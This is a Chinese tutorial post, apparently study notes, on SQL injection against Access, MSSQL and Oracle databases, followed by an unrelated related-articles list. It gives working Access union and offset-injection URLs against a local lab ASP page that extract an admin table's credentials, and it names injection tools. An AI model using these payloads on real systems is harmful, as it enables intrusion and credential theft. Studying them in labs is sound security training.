Access数据库注入

前言:在常见的注入测试中,由于每个数据库内置架构和应用不同,导致数据库类型将决定注入的手法,Access数据库是小型数据库类型,普遍用于小型WEB应用,其中Access注入手法也相对于较为简单。

第一点:比较Mysql结构及功能

Mysql数据库

数据库A zblog = www.zblog.com

  表名

    列名

      数据

数据库B dede = www.dede.com

  表名

    列名

      数据

ACCESS数据库(只有一个数据库,不存在多个,适合小型网站)

  表名

    列名

      数据

功能:

mysql支持文件操作功能,注入的时候也可以操作文件

access除了正常的sql查询外,没有这种高级功能

mysql注入时经常用到information_schema查询数据库下的表名及列名信息,access是没有这种类似数据库的,也就是说access获取表名及列名信息属于暴力猜解(也就是说,不能通过注入知道数据库名,只能通过字典遍历文件名,有可能遍历不到数据库名)

access数据库会存在表名或列名猜解不到的情况

access偏移注入:解决列名获取不到的情况,有部分几率会直接得到数据,参考:

https://www.cnblogs.com/xishaonian/p/6054320.html

来到靶机页面:

随便找一个连接点进去

猜到原本字段22

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin //admin是管理表名

爆显示位了,判断admin表内存在的字段数:

接下来测出偏移量,其实这个偏移量就是admin这张表的列的个数,我们利用“*”代替admin表内存在的字段,由于是22个字段数,需要逐步测试,直到返回正常。

逐个减少

16的时候正常了,

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*    代表字段数有6个

偏移注入的基本公式为:

order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案

  也就是 22-16=6 22-6x2=10 

原本字段(22)-现列出的字段(16)=*号的字段(6)

也就是说admin表内存在6个字段。

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
#admin表变成了(admin as a inner join admin as b on a.id=b.id),这里是将admin重命名为了a和b两张表,然后通过inner join 将a表和b表的id相同字段展示出来,a表和b表本来都是admin表,所以id肯定都是相同的(这里要提醒一下,id这个字段可以换成其它字段,但是一定得存在,一般admin表中都存在id字段的),这样做的目的就是可以打乱顺序来爆出其它字段
#但是由于增加了一张表,所以字段数得再减少一个*号的长度,所以另一个表字段数就是12
#这里union select 1,2,3,4,5,6,7,8,9,10:顾名思义就是刚才得出来的长度。
#后面的是sql,可作公式。

如此便爆出了账号密码(隐形显示位)。

然后再用二级偏移

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

最后还是一脸懵???

进阶参考文章:《移位溢注:告别靠人品的偏移注入》

表名:

关注url地址,后台地址表单等信息进行猜解

如:xx.com/pe_news.asp或pe_admin表名可能为pe_admin

如:后台地址表单值为admin_user 表名可能为admin_admin

结构案例:

比如服务器上有ABCD四个站点,其中ABC三个网站使用MySQL数据库,数据库将全部存储用mysql中,D使用access数据库,它单独存在,由于结构上面的问题,跨库注入在access中一般不会利用到

格式存储路径案例:

mysql数据库的存储格式myi,myd,frm,数据存储路径在安装目录下data目录

Access数据库格式:

mdb或asp asp等 存储路径在网站目录下,mdb格式文件知道文件名可以进行正常的下载,而mysql不行,因为他的数据库在安装目录下,是在网站的上级目录,访问不了

mdb格式文件可以进行正常的下载

第二点:Access联合查询及逐字猜解

第三点:部分Access注入工具分析

墨者学院靶场示例

点击通知

存在注入点

和mysql差不多,猜到字段是4

这里access不用猜数据库名,所以直接猜表名,命令有点不同,后面接from+表名

表名猜错不会出显示位,所以表名都是靠遍历的

在显示位插入查询,如果其中一个字段错误的话,两个都不会显示出来

这里猜对了字段名username,出来字段名了,剩下那个就要字典跑

其实在这之前应该先awvs等扫描到注入点然后用sqlmap或者明小子等注入就可以了

最后猜到字段名是passwd

Mssql数据库注入

第一点:比较Mysql结构及功能

mssql sqlsever 和mysql结构一样 功能不一样 mssql进行文件及文件目录的操作 命令执行等

第二点:mssql权限注入方法分析

sa sysadmin权限 :最高权限 文件文件夹及数据操作 命令执行等

db db_owner权限 :可能存在多个数据

public权限: 单个数据操作

第三点:部分mssql注入工具分析

墨者靶场示例

明小子

sa权限:最高权限 文件文件夹及数据操作 命令执行等

明小子读不了表,然后用穿山甲,各种傻瓜式操作

其实两个工具配合,分析执行的命令

Oracle数据库注入

DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。 RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。 CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。 对于普通用户:授予connect, resource权限。 对于DBA管理用户:授予connect,resource, dba权限。

比较其他数据库的特性,能做的操作?

和mssql差不多,但是加密方式可能不同,还有,执行命令看操作系统

穿山甲命令执行无回显,可能权限不够

数据有$符号的应该是自带的数据库,所以没有$的是重点关注对象

Access+Mssql+Oracle数据库注入的更多相关文章

  1. 转:ACCESS数据库转ORACLE数据库分享

    来源: 作者:zz 网上有很多文章介绍access转oracle数据库的方法,本人都尝试了,不是很成功,列举一下,后来人不必盲目试了,基本不成功: 1.Access-->excel-->P ...

  2. DBF导入到Oracle数据库

    今天我遇到了一个需求,是将一个DBF文件导入到Oracle库中,之前一直使用的是公司提供的迁移工具,但是不知道怎么回事今天一直报DBF文件无法访问之类的错误,尝试多次之后,一气之下弃之不用,另寻他法. ...

  3. [转载]数据库存储图片(MSSQL/ORACLE/ACCESS

    下面我来汇总一下如何将图片保存到SqlServer.Oracle.Access数据库中.首先,我们要明白图片是以二进制的形式保存在数据库中的,那么把图片保存到数据库中的步骤大体上有这几步1.将图片转换 ...

  4. Oracle数据库XXE注入漏洞(CVE-2014-6577)分析

    在这篇文中,我们将共同分析一下Oracle数据库的XXE注入漏洞(CVE-2014-6577),Oracle公司1月20日发布了针对该漏洞的相关补丁. 有关XXE的相关知识,可以查看安全脉搏站内的另一 ...

  5. 通过MSSQL连接服务器连接至Oracle数据库

    前言 有很多时候,我们需要MSSQL与Oracle进行跨库查询或数据交互.本篇随笔将阐述如何通过MSSQL的连接服务器连接至Oracle数据库,并且读取数据的示例. 具体步骤 首先需要到Oracle的 ...

  6. JAVA连接ACCESS、MYSQL、SQLSEVER、ORACLE数据库

    . 概要 1.1 JDBC概念 JDBC(Java Database Connectivity)是Java语言为了支持SQL功能而提供的与数据库连接的用户的接口.JDBC中包含了一组由(Java)语言 ...

  7. Windows 10中Oracle数据库导出到Access数据库(MDB)

    本篇博文简单介绍将Oracle数据库中表导出到Access数据库(主要是MDB格式)的方法.主要有三种,分别是PL/SQL.ESFDatabaseMigrationToolkit及ODBC. PL/S ...

  8. ACCESS数据库注入

    0X01 我们想来了解一下access数据库 Access注入是暴力猜解 Access数据结构(access只有一个数据库) Access数据库 表名 列名 数据 没有库这个概念 只有表这个概念 这应 ...

  9. 600万用户数据导入MYSQL、MSSQL、Oracle数据库方法【转】

      1.导入MySql数据库 参考文献:http://zhuaxia.org/blog/post/145 1.1.LOAD DATA INFILE语法 因为获得的数据库文件是一个文本文件www.csd ...

随机推荐

  1. k8s 日志收集之 EFK

    如今越来越多的应用部署在容器之中,如何收集日志也是一个很重要的问题.服务出问题了,排查问题需要给开发看日志.服务一般会在多个不同的 pod 中,一个一个的登进去看也的确不方便.业务数据统计也需要日志. ...

  2. GCD and LCM HDU - 4497

    题目链接:https://vjudge.net/problem/HDU-4497 题意:求有多少组(x,y,z)满足gcd(x,y,z)=a,lcm(x,y,z)=b. 思路:对于x,y,z都可以写成 ...

  3. 妙味课上利用splice进行数组去重为什么要 j--

    var arr = [ 1,2,2,4,4,5,8,8,9,0,4,4 ]; for ( var i=0; i<arr.length; i++ ) { for ( var j=i+1; j< ...

  4. Docker安装完成后启动报错:Failed to start Docker Application Container Engine

    报错如下:显示没有启动 先关闭防火墙:防火墙关闭指令请看  <a href="Linux防火墙篇">https://www.cnblogs.com/szx666/p/1 ...

  5. PAT (Basic Level) Practice (中文)1070 结绳 (25 分) 凌宸1642

    PAT (Basic Level) Practice (中文)1070 结绳 (25 分) 凌宸1642 题目描述 给定一段一段的绳子,你需要把它们串成一条绳.每次串连的时候,是把两段绳子对折,再如下 ...

  6. Recoil 默认值及数据级联的使用

    Recoil 中默认值及数据间的依赖 通过 Atom 可方便地设置数据的默认值, const fontSizeState = atom({ key: 'fontSizeState', default: ...

  7. BUAAOO第二单元代码分析

    第一次作业 设计思路与感想 第一次作业是要求有捎带的电梯实现, 第一次作业是花费的时间比较长的一次,花费了很多的时间去思考架构的问题.起初是想要搞三个线程的:输入线程,调度器线程和电梯线程,想要搞一个 ...

  8. keepalived安装及组合nginx配置负载实现高可用

    目录 1. Keepalived安装配置 1.1 官网下载tar包 1.2 上传到指定目录安装 1.3 配置文件 1.4 配置nginx检测脚本文件 1.5 keepalived 启动/重启/停止/查 ...

  9. 远程线程注入dll,突破session 0

    前言 之前已经提到过,远线程注入和内存写入隐藏模块,今天介绍突破session 0的dll注入 其实今天写这个的主要原因就是看到倾旋大佬有篇文章提到:有些反病毒引擎限制从lsass中dump出缓存,可 ...

  10. Spring Boot demo系列(一):Hello World

    2021.2.24 更新 1 新建工程 打开IDEA选择新建工程并选择Spring Initializer: 可以在Project JDK处选择JDK版本,下一步是选择包名,语言,构建工具以及打包工具 ...